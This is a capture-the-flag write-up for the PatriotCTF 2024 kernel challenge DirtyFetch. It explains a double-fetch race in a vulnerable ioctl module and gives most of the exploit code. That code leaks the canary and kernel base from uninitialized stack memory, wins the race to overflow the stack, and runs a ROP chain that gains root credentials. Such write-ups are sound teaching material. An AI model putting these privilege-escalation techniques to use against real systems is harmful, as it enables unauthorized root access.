PatriotCTF 2024 - DirtyFetch

Solves: 9 (expert - 484)

My kernel is your kernel. Well, some of it. Here’s ioctl.

Author: Dylan (elbee3779)

nc chal.competitivecyber.club 8886

Team: Weak But Leet

Attachment: dirty_fetch.tar.gz pwn.c

DirtyFetch had a simple race condition in its kernel module, which could be used to overflow the stack to rop.

The module was accessable via ioctl and provided functionality to

  • (0x10) set a max length for requests to be read/write
  • (0x20) allocate a storage buffer, which can be filled with user data
  • (0x30) save the storage buffer to stack
  • (0x40) load data from stack into user buffer
case 0x40:
    unsigned long len;

    if(get_user(len, (unsigned long *)ioctl_param) == -EFAULT){
        printk(KERN_ALERT "Error fetching length!");
        ret = -EFAULT;
    }

    if(copy_to_user((char *)ioctl_param, content, len % max) != 0){
        printk(KERN_ALERT "Error reading data!");
        ret = -EFAULT;
    }

    if(ret != -EFAULT){
        ret = len % max;
    }
    break;

Conveniently, the stack buffer isn’t initialized, so we can directly read some leaks from it.

int fd;

unsigned long get_value(char *buffer, unsigned long offset)
{
    return *((uint64_t *)(buffer + offset));
}

int load(int fd, char *buffer, size_t length)
{
    set_value(buffer, 0, length);

    return ioctl(fd, 0x40, buffer);
}

void set_value(char *buffer, unsigned long offset, unsigned long value)
{
    *((uint64_t *)(buffer + offset)) = value;
}

int main()
{
    char buffer[0x1000];

    fd = open("/proc/vuln", O_RDWR);

    // Leak kernel and canary from uninitialized stack content
    load(fd, buffer, 239);

    unsigned long kernel_leak = get_value(buffer, 0xe8) + 0xff00000000000000;
    unsigned long kernel_base = kernel_leak - 0x35691f;
    unsigned long canary = get_value(buffer, 0xb0);

    printf("kernel leak      : %p\n", kernel_leak);
    printf("kernel base      : %p\n", kernel_base);
    printf("canary           : %p\n", canary);
}

The leaked stack will look like this:

0x0000: 0xffff9e2b82cfa180 0x0000000000000041
0x0010: 0x6f3f415ce113b900 0x0000000000000014
0x0020: 0xffff9e2b8300d948 0xffff9e2b836f07a0
0x0030: 0xffff9e2b82cfa180 0x0000000000000000
0x0040: 0xffffb7e1801afd90 0xffffb7e1801afd90
0x0050: 0x6f3f415ce113b900 0x0000000000000001
0x0060: 0xffffb7e1801afed8 0x0000000000000003
0x0070: 0xffffb7e1801afeec 0x0000000000000000
0x0080: 0x0000000000000000 0xffffffffa03e078c
0x0090: 0xffff9e2b836f07a0 0xffff9e2b82cfa180
0x00a0: 0x0000000431cac513 0xffff9e2b83510026
0x00b0: 0x6f3f415ce113b900 0x0000000000000040 <= stack guard
0x00c0: 0xffffb7e1801afeb0 0x0000000000000000
0x00d0: 0xffff9e2b8300d948 0x0000000000000001
0x00e0: 0xffff9e2b8385b200 0x00ffffffa055691f <= x / kernel_leak
kernel leak      : 0xffffffffa055691f
kernel base      : 0xffffffffa0200000
canary           : 0x6f3f415ce113b900

With a leak to kernel base and knowing the stack guard, we could now safely overflow the stack without breaking it.

But we’ll need to find a way to get around the validations in the module, which will try to hinder us to do that.

static ssize_t edit_storage(unsigned long buf) {
    data * request;
    int ret;
    if(validate_buf(buf)){
        request = get_storage_contents(buf);
        storage = request;
        ret = request->length;
    }else{
        request = NULL;
        printk(KERN_ALERT "Specified size goes out of bounds.");
        ret = -EFAULT;
    }
    return ret;
}

When we try to create a storage, edit_storage will first call validate_buf.

int validate_buf(unsigned long buf){
    data * request = get_storage_contents(buf);

    if(request == NULL){
        printk(KERN_ALERT "Error fetching storage from userspace!");
        return -ENOMEM;
    }

    int ret = request->length < MAX_SIZE; // Check for valid size

    kfree(request->content);
    kfree(request);

    return ret;
}

data * get_storage_contents(unsigned long buf){
    data * request = (data *)kmalloc(sizeof(data),GFP_KERNEL);

    if(request == NULL){
        return NULL;
    }

    copy_from_user(request, (data *)buf, sizeof(data));

    char * content = (char *)kmalloc((request->length),GFP_KERNEL);

    if(content == NULL){
        return NULL;
    }

    copy_from_user(content,request->content,request->length);
    memcpy(request, &content, 8);
    return request;
}

validate_buf will allocate a storage object, copy our input object into it and then check if request->length < MAX_SIZE and free the allocated storage object again.

If the length check succeeded, edit_storage would then allocate the storage again and copy our input object into it again.

But since there are no mutexes in place and our input object gets copied twice (once in validate_buf to check if it has a valid length and then again in edit_storage to create the final storage object) it’s a simple TOCTOU problem.

If we set length to a valid value before validate_buf, wait until it finished and then switch to a bigger value (> MAXSIZE) before edit_storage calls get_storage_contents again, this would result in a request object with length > MAX_SIZE.

We can do this by using two threads. One will constantly set length of our data object to a valid value, wait briefly and then set it to a bigger value. The second thread will then try to allocate a storage buffer over and over again until the size of the allocated buffer matches our target size.

typedef struct data
{
    char *content;
    size_t length;
} data;

data maindata;
int init_request_running=1;
...

void *threadSwitchLength(void *arg)
{
    puts("Start switching data length");

    while (init_request_running)
    {
        maindata.length = 100;
        usleep(100);
        maindata.length = 0x200;
        usleep(100);
    }
}

void *threadWriteBuffer(void *arg)
{
    puts("Start allocating storage buffer");

    while (init_request_running)
    {
        unsigned long result = ioctl(fd, 0x20, &maindata);

        // Stop, when we won the race
        if (result == 0x200)
            init_request_running = 0;
    }
}

int main() {
    ...

    maindata.content = buffer;

    unsigned long *ptr = buffer + 0xf0;

    *ptr++ = canary;
    *ptr++ = 0x0;
    *ptr++ = 0x0;
    *ptr++ = 0x0;
    *ptr++ = 0xdeadbeef;

    // Race to get a storage with a length > MAX_SIZE
    pthread_t tSwitchLength;
    pthread_t tWriteBuffer;

    pthread_create(&tSwitchLength, NULL, threadSwitchLength, NULL);
    pthread_create(&tWriteBuffer, NULL, threadWriteBuffer, NULL);

    pthread_join(tSwitchLength, NULL);
    pthread_join(tWriteBuffer, NULL);
}

As soon as we win the race and the request storage is allocated with a size of 0x200, the threads will stop.

Now, we can save the storage object into the stack variable content, which will then overflow it and executes our ropchain on returning from ioctl.

int save(int fd)
{
    return ioctl(fd, 0x30, 0);
}

int main(int argc, char* argv[]) {
    ...
    pthread_join(tSwitchLength, NULL);
    pthread_join(tWriteBuffer, NULL);

    // Request is now bigger than content and save will return into ropchain
    save(fd);
}
[   13.956657] BUG: unable to handle page fault for address: 00000000deadbeef
[   13.956848] #PF: supervisor instruction fetch in kernel mode
[   13.956949] #PF: error_code(0x0010) - not-present page
[   13.957109] PGD 8000000003837067 P4D 8000000003837067 PUD 0 
[   13.957318] Oops: 0010 [#1] SMP PTI
[   13.957662] CPU: 0 PID: 99 Comm: pwn Tainted: G           O      5.4.0 #1
[   13.957817] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   13.958406] RIP: 0010:0xdeadbeef
[   13.958588] Code: Bad RIP value.

With this, we can now prepare a ropchain to do commit_creds(prepare_kernel_cred(0)) and hopefully get back into our code.

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state()
{
    __asm__ __volatile__(
        ".intel_syntax noprefix;"
        "mov %0, cs;"
        "mov %1, ss;"
        "mov %2, rsp;"
        "pushf;"
        "pop %3;"
        ".att_syntax"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags));
}
...
void safe_exit(void)
{
    puts("Back in userland");
}

int main(int argc, char *argv[]) {
    save_state();

    ...
    unsigned long prepare_kernel_cred = kernel_base + 0x0895e0;
    unsigned long commit_creds = kernel_base + 0x892c0;
    unsigned long swapgs = kernel_base + 0xc00a2f;  // swapgs_restore_regs_and_return_to_usermode
    unsigned long poprdi = kernel_base + 0x2c3a;
    ...

    // Prepare rop chain for overwrite in content
    maindata.content = buffer;

    unsigned long *ptr = buffer + 0xf0;

    *ptr++ = canary;
    *ptr++ = 0x0;
    *ptr++ = 0x0;
    *ptr++ = 0x0;
    *ptr++ = poprdi;
    *ptr++ = 0;
    *ptr++ = prepare_kernel_cred;
    *ptr++ = commit_creds;
    *ptr++ = swapgs + 22;
    *ptr++ = 0x0;
    *ptr++ = 0x0;
    *ptr++ = (unsigned long)safe_exit;
    *ptr++ = user_cs;
    *ptr++ = user_rflags;
    *ptr++ = user_sp;
    *ptr++ = user_ss;

    // Race to get a storage with a length > MAX_SIZE
    pthread_t tSwitchLength;
    pthread_t tWriteBuffer;
    ...
}

First, we use save_state to store the current registers from userland process cs, ss, rsp and rflags, which are needed later to switch back from kernelmode to usermode.

The offsets for prepare_kernel_cred, commit_creds, etc. can be retrieved from /proc/kallsyms (patching initramfs before to execute as root user).

When ioctl returns, it will run into our ropchain, and first do a pop rdi to set rdi to 0 and call prepare_kernel_cred to create a creds object (with user id 0). Normally we’d now have to move the result from rax to rdi, but after prepare_kernel_cred both rax and rdi already pointed to the correct object, so we can directly call commit_creds to make them the current creds.

Now we’re already root, but we still need to get back into usermode.

For this, we can use swapgs_restore_regs_and_return_to_usermode from the kernel itself (which can also be found via /proc/kallsyms).

0xFFFFFFFF81C00A2F      pop     r15
0xFFFFFFFF81C00A31      pop     r14
0xFFFFFFFF81C00A33      pop     r13
0xFFFFFFFF81C00A35      pop     r12
0xFFFFFFFF81C00A37      pop     rbp
0xFFFFFFFF81C00A38      pop     rbx
0xFFFFFFFF81C00A39      pop     r11
0xFFFFFFFF81C00A3B      pop     r10
0xFFFFFFFF81C00A3D      pop     r9
0xFFFFFFFF81C00A3F      pop     r8
0xFFFFFFFF81C00A41      pop     rax
0xFFFFFFFF81C00A42      pop     rcx
0xFFFFFFFF81C00A43      pop     rdx
0xFFFFFFFF81C00A44      pop     rsi
0xFFFFFFFF81C00A45      mov     rdi, rsp
0xFFFFFFFF81C00A48      mov     rsp, gs:qword_6004
0xFFFFFFFF81C00A51      push    qword ptr [rdi+30h]
0xFFFFFFFF81C00A54      push    qword ptr [rdi+28h]
0xFFFFFFFF81C00A57      push    qword ptr [rdi+20h]
0xFFFFFFFF81C00A5A      push    qword ptr [rdi+18h]
0xFFFFFFFF81C00A5D      push    qword ptr [rdi+10h]
0xFFFFFFFF81C00A60      push    qword ptr [rdi]
0xFFFFFFFF81C00A62      push    rax
0xFFFFFFFF81C00A63      jmp     short loc_FFFFFFFF81C00AA8

0xFFFFFFFF81C00AA8 loc_FFFFFFFF81C00AA8:                   
0xFFFFFFFF81C00AA8      pop     rax
0xFFFFFFFF81C00AA9      pop     rdi
0xFFFFFFFF81C00AAA      swapgs

We can skip all the pops at the beginning and just start at swapgs_restore_regs_and_return_to_usermod+22. Since this will pop 2 values (rax and rdi) from the stack, we just add two dummy values in our ropchain for this.

For swapgs we then add a pointer to safe_exit as new rip and add the cs, rflags, sp and ss from userland, which we retrieved in the begining. This should get us back into usermode and execute safe_exit.

[   30.857983] Opened.
kernel leak      : 0xffffffffbbb5691f
kernel base      : 0xffffffffbb800000
canary           : 0xd1bd85e84272b100
Start allocating storage buffer
[   30.863118] Data copied!
[   30.863185] Data copied!
...
[   30.866170] Data copied!
Start switching data length
[   30.866247] Data copied!
[   30.866998] Data copied!
[   30.867345] Specified size goes out of bounds.
[   30.867435] Error copying userspace data!
[   30.867616] Data copied!
[   30.867789] Specified size goes out of bounds.
[   30.867845] Error copying userspace data!
...
[   30.879654] Data copied!
Back in userland
[   30.882420] Data saved!
Segmentation fault

Looking good. Since we’re now root in safe_exit, we can just read the flag and print it.

void safe_exit(void)
{
    char buffer[100];
    int fd = open("/flag.txt", O_RDONLY);
    read(fd, buffer, 100);
    puts(buffer);
}
kernel leak      : 0xffffffff8bf5691f
kernel base      : 0xffffffff8bc00000
canary           : 0x978e4b06167e6800
Start allocating storage buffer
[   63.290889] Data copied!
...
[   63.293273] Data copied!
Start switching data length
[   63.293372] Data copied!
[   63.294151] Data copied!
[   63.294599] Specified size goes out of bounds.
[   63.294682] Error copying userspace data!
[   63.294948] Data copied!
...
[   63.497838] Specified size goes out of bounds.
[   63.497911] Error copying userspace data!
[   63.498172] Data copied!
[   63.498406] Data copied!
pctf{t1m3_2_k3rn3l_r4c3_eea6228cb8}
$�9�
[   63.502187] Data saved!
Segmentation fault
/ $